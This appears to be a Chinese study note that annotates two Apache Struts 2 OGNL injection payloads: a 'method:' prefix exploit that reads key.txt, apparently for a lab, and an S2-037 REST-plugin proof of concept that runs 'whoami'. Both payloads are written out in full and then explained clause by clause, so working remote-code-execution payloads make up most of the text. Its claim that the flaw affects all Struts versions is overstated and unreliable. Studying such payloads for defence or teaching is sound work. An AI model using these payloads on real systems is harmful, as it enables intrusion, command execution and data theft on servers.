x.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat key.txt
method:
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
Struts 2框架中的OGNL表达式访问控制对象,设置默认的OGNL表达式访问控制对象。
#res=@org.apache.struts2.ServletActionContext@getResponse(),
获取当前请求的响应对象
#res.setCharacterEncoding(#parameters.encoding[0]),
设置响应对象的字符编码。
#w=#res.getWriter(),
响应对象的输出流对象
#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),
使用Java的Scanner类读取key.txt文件的内容。
@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream():使用Runtime类的exec方法执行系统命令'cat key.txt',并将其输出流转换为Scanner类的输入流。
#str=#s.hasNext()?#s.next():#parameters.ppp[0],
判断Scanner类是否还有下一个元素,有的话获取下一个元素
#w.print(#str),
从Scanner类中读取的文件内容字符串。
#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=cat key.txt
1?#xx:#request.toString:如果OGNL表达式中的常量表达式为true,则返回#xx;否则,返回当前请求的字符串表示形式。
##037
Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,目前命名为S2-037。,黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本
REST介绍:
比如请求 http://localhost:8080/bee/test/1/abc ,那么TestAction的public String abc()就会被调用 。
poc:
orders/5/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
将ognl表达式的访问控制对象设置为默认开启
#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),
使用Java的Runtime类执行系统命令'whoami'。
#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),
获取当前请求的响应对象的输出流对象。
@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),
使用Apache Commons IO库的IOUtils类将系统命令的输出流复制到响应对象的输出流中。
#ros.flush(),
刷新响应对象的输出流
#xx=123,
一个常量值,为数字123
#xx.toString.json?command=whoami
将数字123转换为JSON格式的字符串,参数中的第一个键值对,用于执行系统命令'whoami'。